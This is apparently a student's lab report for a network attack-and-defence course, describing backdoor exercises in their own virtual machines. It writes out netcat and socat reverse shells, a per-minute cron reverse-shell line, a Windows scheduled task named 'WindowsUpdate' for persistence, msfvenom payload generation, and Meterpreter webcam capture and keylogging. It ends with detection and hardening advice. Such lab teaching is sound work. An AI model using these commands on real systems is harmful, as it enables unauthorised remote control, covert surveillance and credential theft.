20242415 2026-2027-1 《网络与系统攻防技术》实验二实验报告

20242415 2026-2027-1 《网络与系统攻防技术》实验二实验报告

1. 基础知识

后门(Backdoor) 是指绕过正常的身份认证机制,在目标主机上预留的远程控制通道。攻击者在成功入侵后通常会安装后门,以便后续无需再次突破防御即可重新接入。本实验涉及的主要工具和原理如下:

  • Netcat(nc/ncat):被誉为"网络工具中的瑞士军刀",可通过 TCP/UDP 进行数据读写。利用 -e 参数可以将 shell 绑定到端口上,实现反弹连接。攻击机监听 nc -lvnp <端口>,受害机执行 nc <攻击机IP> <端口> -e /bin/sh 即可将 shell 反弹回攻击机。
  • Socat:Netcat 的增强版,支持更多协议和地址类型。在 Windows 上可通过 socat exec:cmd.exe,pty,stderr tcp:<攻击机IP>:<端口> 建立反弹 shell。
  • Cron(Linux)/ 计划任务(Windows):cron 是 Linux 下的周期性任务守护进程,通过 crontab -e 编辑定时任务;Windows 下对应 schtasks 命令,可创建开机自启或定时执行的任务。二者均可作为后门的持久化启动方式。
  • Meterpreter:Metasploit 框架中功能强大的 payload,运行时注入内存,不落地文件,具备隐身特性。支持文件操作、屏幕截照、摄像头调用、键盘记录、提权等功能。
  • Msfvenom:Metasploit 中用于生成各类 payload/后门可执行文件的工具,支持多平台(Windows/Linux/Android 等)多种编码方式。
  • Shellcode 注入与缓冲区溢出:通过溢出来覆盖返回地址,将程序执行流重定向到注入的 shellcode 区域,从而获取目标程序的 shell。本实验利用 msf-pattern 计算偏移量,找到返回地址被覆盖的位置。

2. 实验内容

  1. 使用 netcat 获取主机操作 Shell,通过 cron 启动定时反弹任务。
  2. 使用 socat 获取主机操作 Shell,通过 Windows 计划任务启动。
  3. 使用 MSF meterpreter 生成后门可执行文件,利用 ncat/socat 传送到目标主机运行,获取 Shell。
  4. 使用 MSF 生成可获取目标主机音频、摄像头、击键记录的后门,尝试提权。
  5. 使用 MSF 生成 shellcode,注入到实践 1 中的 pwn1 程序中,获取反弹连接 Shell。

3. 实验过程

任务一:使用 netcat 获取 Shell + cron 定时任务

攻击机(Kali):192.168.11.129,使用 nc -lvnp 4444 监听 4444 端口。

首先确认 Kali 上已安装 ncat:

alt text

查看本机 IP 地址:
alt text

在攻击机上监听 4444 端口,测试基本连通性和反弹 shell 功能——受害机执行 nc 192.168.11.129 4444 -e /bin/sh 后,攻击机成功收到连接,输入 whoami 返回 kali,ls 可正常列目录:

alt text

接下来配置 cron 定时任务。执行 crontab -e,在末尾添加一行,让 cron 每分钟自动执行一次反弹 shell:

* * * * * nc 192.168.11.129 4444 -e /bin/sh

alt text

等待约一分钟后,攻击机端成功收到 cron 自动触发的反弹连接,再次验证 whoami 和 ls 均正常:

alt text

实验结束后清理定时任务,执行 crontab -r 删除,再用 crontab -l 确认已无任务:
alt text


任务二:使用 socat 获取 Shell + Windows 计划任务

本任务中,Kali 虚拟机网络模式调整为 NAT,与 Windows 主机通过 VMnet8 虚拟网卡通信。Kali IP 为 192.168.182.128,Windows 主机 IP 为 192.168.182.1。

先确认 VMware 虚拟网络编辑器中 NAT 网段为 192.168.182.0:

alt text

在 Windows 上执行 ipconfig,确认 VMnet8 网卡 IP 为 192.168.182.1:

alt text

双向 ping 测试连通性——Kali ping Windows:

alt text

Windows ping Kali:

alt text

在 Kali 上执行 nc -lvnp 4444 监听。Windows 端通过 socat 发起反弹连接,攻击机端成功收到 Windows 的 cmd shell,执行 whoami 返回 liyihan,ipconfig 可查看 Windows 网络配置:

alt text

alt text

接下来在 Windows 上创建计划任务,实现持久化。以管理员身份运行 cmd,执行:

schtasks /create /tn "WindowsUpdate" /tr "D:\你放bat的路径\backdoor_20242415.bat" /sc minute /mo 1

成功创建名为 "WindowsUpdate" 的计划任务,每分钟执行一次后门 bat 脚本:

alt text


任务三:MSF 生成后门 + 传输运行获取 Shell

在 Kali 上使用 msfvenom 生成 Windows 后门可执行文件,文件名为 20242415_backdoor.exe:
alt text

将后门文件传送到 Windows 主机后,在 Kali 上启动 msfconsole,配置 multi/handler 监听:

use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.182.128
set LPORT 5555
exploit

在 Windows 上运行后门程序后,攻击机端成功建立 Meterpreter 会话:

alt text


任务四:音频/摄像头/击键记录后门 + 提权尝试

在已获得的 meterpreter 会话中,先通过 getuid 确认当前权限:

alt text

调用摄像头:先 webcam_list 列出摄像头设备,再 webcam_snap -i 1 拍摄一张照片,成功保存到 Kali 桌面:

alt text

记录键盘输入:依次执行 keyscan_start 开始抓取、keyscan_dump 读取已捕获的按键、keyscan_stop 停止。可以看到目标主机上输入的内容被成功记录:

alt text

尝试提权:执行 getsystem 自动尝试提权,使用了 Named Pipe Impersonation(EFSRPC 变体)等技术,但提权失败,getuid 仍显示普通用户权限 LHY\liyihan:

alt text


任务五:MSF 生成 shellcode 注入 pwn1

本任务将实验一中的缓冲区溢出漏洞与 shellcode 注入结合。

首先用 msfvenom 生成 Linux 反向连接 shellcode,输出为 Python 格式:

msfvenom -p linux/x86/shell_reverse_tcp LHOST=192.168.182.128 LPORT=6666 -b "\x00\x0a\x0d" -f python

alt text

在 GDB 中运行 pwn20242415 程序,输入超长字符串后程序段错误(SIGSEGV),崩溃地址为 0x31624130:

alt text

使用 msf-pattern_offset 计算偏移量,确认返回地址被覆盖的位置为 32 字节:

alt text

由于直接生成 shellcode 注入后未能正确跳转到 shellcode 区域,需要修改 Metasploit 的 x86.rb 源码(先备份原文件):

alt text

修改完成后,重新用 msfvenom 将 meterpreter reverse_tcp payload 直接打包为 ELF 可执行文件 pwn202415:

msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.182.128 LPORT=8888 -x /home/kali/20242415/pwn20242415 -f elf -o pwn_backdoor

alt text
在 msfconsole 中配置 handler 监听 8888 端口并运行,成功收到反弹连接:

[*] Started reverse TCP handler on 192.168.182.128:8888
[*] Meterpreter session 1 opened (192.168.182.128:8888 -> 192.168.182.128:54214)
meterpreter >

alt text

在 meterpreter 交互界面中测试常用命令:pwd 显示当前目录,sysinfo 显示系统信息(Debian、x86_64、Linux 6.19),shell 成功进入系统 shell:

alt text


4. 回答问题

(1) 例举你能想到的一个后门进入到你系统中的可能方式?

最常见的方式是钓鱼。攻击者伪造一个看起来很正规的软件安装包(比如某个破解软件、游戏外挂、考研资料压缩包),放在网盘或论坛上诱导下载。用户双击运行后,看似正常的安装程序在后台悄悄释放了一个后门可执行文件,并在注册表或计划任务里加了自启动项。由于用户是主动"信任"这个文件运行的,杀毒软件也可能因为加壳混淆而漏掉。

另外,利用浏览器或常用软件(如 Office、PDF 阅读器)的未修补漏洞,在用户访问恶意网页或打开恶意文档时自动植入后门,也是一种常见途径。

(2) 例举你知道的后门如何启动起来(Win及Linux)的方式?

  • Linux 下:

    • cron 定时任务:在 /etc/crontab 或 crontab -e 中添加定时执行后门的条目;
    • systemd 服务:在 /etc/systemd/system/ 下放一个 service 文件,设置开机自启;
    • 修改 bash 配置文件(.bashrc、.profile),用户一登录就触发后门;
    • 植入到 /etc/rc.local 等启动脚本中。
  • Windows 下:

    • 注册表自启动项:HKCU\Software\Microsoft\Windows\CurrentVersion\Run 下添加键值;
    • 计划任务(schtasks):定时或开机触发后门程序,就像本次实验做的那样;
    • 放到启动文件夹(shell:startup);
    • 注册成 Windows 服务,通过 sc create 或 sc config 设置自动启动。

(3) Meterpreter 有哪些给你印象深刻的功能?

印象最深的是它完全在内存中运行,不向磁盘落地文件,传统的文件查杀很难发现。具体功能里,webcam_snap 直接调用摄像头拍照、keyscan_start 静默记录键盘输入这两个最震撼——完全不需要用户感知,攻击者就能拍到你的画面、记下你打的每一个字。另外它的 getsystem 自动提权、screenshot 屏幕截图、shell 直接进入系统命令行,都非常实用。更重要的是它支持 Mimikatz 抓密码、端口转发、持久化植入等高级操作,功能非常全面。

(4) 如何发现自己的系统有没有被安装后门?

可以从以下几个方面排查:

  • 查看自启动项:Linux 下检查 crontab -l、/etc/crontab、~/.bashrc、systemctl list-unit-files --type=service;Windows 下用 msconfig 或任务管理器的"启动"标签页查看,也可以检查注册表 Run 键和计划任务;
  • 查看网络连接:用 netstat -tulpn(Linux)或 netstat -ano(Windows)检查有没有异常的外连端口和陌生 IP;
  • 检查进程:用 ps aux 或任务管理器查看有没有可疑进程,特别是路径在临时目录(如 C:\Users\XXX\AppData\Temp)下的;
  • 监听端口检查:有没有不认识的端口在 LISTEN 状态;
  • 定期用杀毒软件全盘扫描,同时关注安全告警日志。

5. 问题及解决方案

  • 问题1:任务一中 cron 任务写入后等待很久没有反弹连接。

    • 解决方案:检查发现 crontab 中 IP 地址写错了一位,改成正确的攻击机 IP 后,不到一分钟就收到了连接。另外要确认攻击机端已经先执行了 nc -lvnp 4444 监听,否则 cron 执行时连接会被拒绝。
  • 问题2:任务二中 Kali 和 Windows 互相 ping 不通。

    • 解决方案:一开始 Kali 的网络模式是桥接,和 Windows 主机不在同一网段。后来在 VMware 虚拟网络编辑器里把 NAT 子网改成和 VMnet8 一致的网段,Kali 也切回 NAT 模式,两边就能互通了。Windows 防火墙也要临时关掉,否则 ICMP 报文会被拦。
  • 问题3:任务四中 getsystem 提权失败。

    • 解决方案:查了资料发现 getsystem 的几种提权技术(命名管道欺骗、令牌假冒等)在较新版本的 Windows 上大多被修补了。实验环境是 Windows 11(版本 10.0.26200),权限控制比较严格,普通用户会话下自动提权基本不可能成功。后续可以尝试利用特定漏洞提权(如 MS16-075 等),但本次实验环境没有对应的漏洞补丁缺失。
  • 问题4:任务五中 shellcode 注入后程序直接崩溃,没有反弹成功。

    • 解决方案:一开始用 msfvenom 生成的 shellcode 直接拼接 padding+返回地址+shellcode,运行后程序 segfault 但攻击机没收到连接。后来按照指导修改了 msf 框架里 x86.rb 的相关配置,改用 -x 参数把 payload 嵌入到原 pwn 程序中重新生成 ELF,再运行就成功了。根本原因还是返回地址跳转后 shellcode 区域的 NX 保护和地址对齐问题,直接手搓 offset 没控制好。

6. 学习感悟、思考等

这次实验做完最大的感受是,"后门"这个东西没有想象中那么神秘。以前觉得黑客入侵后留后门是很高深的操作,结果用 netcat 一行命令就能反弹一个 shell 回来,cron 再加一行定时任务就实现了持久化。工具越简单,反而越让人觉得后怕——因为这类基础工具几乎所有 Linux 发行版都自带,防火墙如果只看端口不看具体流量,很容易放过这种正常的 TCP 连接。

Meterpreter 给我的印象最深。以前只在课本上看到说"后门可以窃取摄像头、录音、键盘输入",这次亲手敲下 webcam_snap 真的弹出一张摄像头照片的时候,确实有点后背发凉的感觉。键盘记录尤其可怕,它不需要你做什么特殊操作,只是默默记录你敲的每一个键,密码、聊天内容全部暴露。

提权失败也让我认识到,从"拿到一个普通用户 shell"到"真正控制系统"之间还有很大的距离。getsystem 在老版本 Windows 上可能一跑就成,但在新系统上各种自动提权手法基本都被堵死了。这说明操作系统在不断修补漏洞,攻击技术也在不断演进,攻防是一个动态的过程。

任务五把缓冲区溢出和 shellcode 串起来的时候,终于把实验一和实验二的内容接上了。之前做 pwn 题只觉得是在算 offset、覆盖返回地址,这次把 shellcode 真正注入进去拿到反弹 shell,才算理解了漏洞利用的完整链条。

最后想到防御层面,其实防后门的关键不在于装多强的杀毒软件,而在于:关闭不必要的入站端口、限制出站连接(尤其是不认识的 IP:端口)、定期检查 crontab 和计划任务、以及普通用户尽量不要用管理员权限跑程序。这些习惯比任何杀软都管用。


参考资料

posted @ 2026-10-16 17:40  20242415李怡涵  阅读(12)  评论(0)    收藏  举报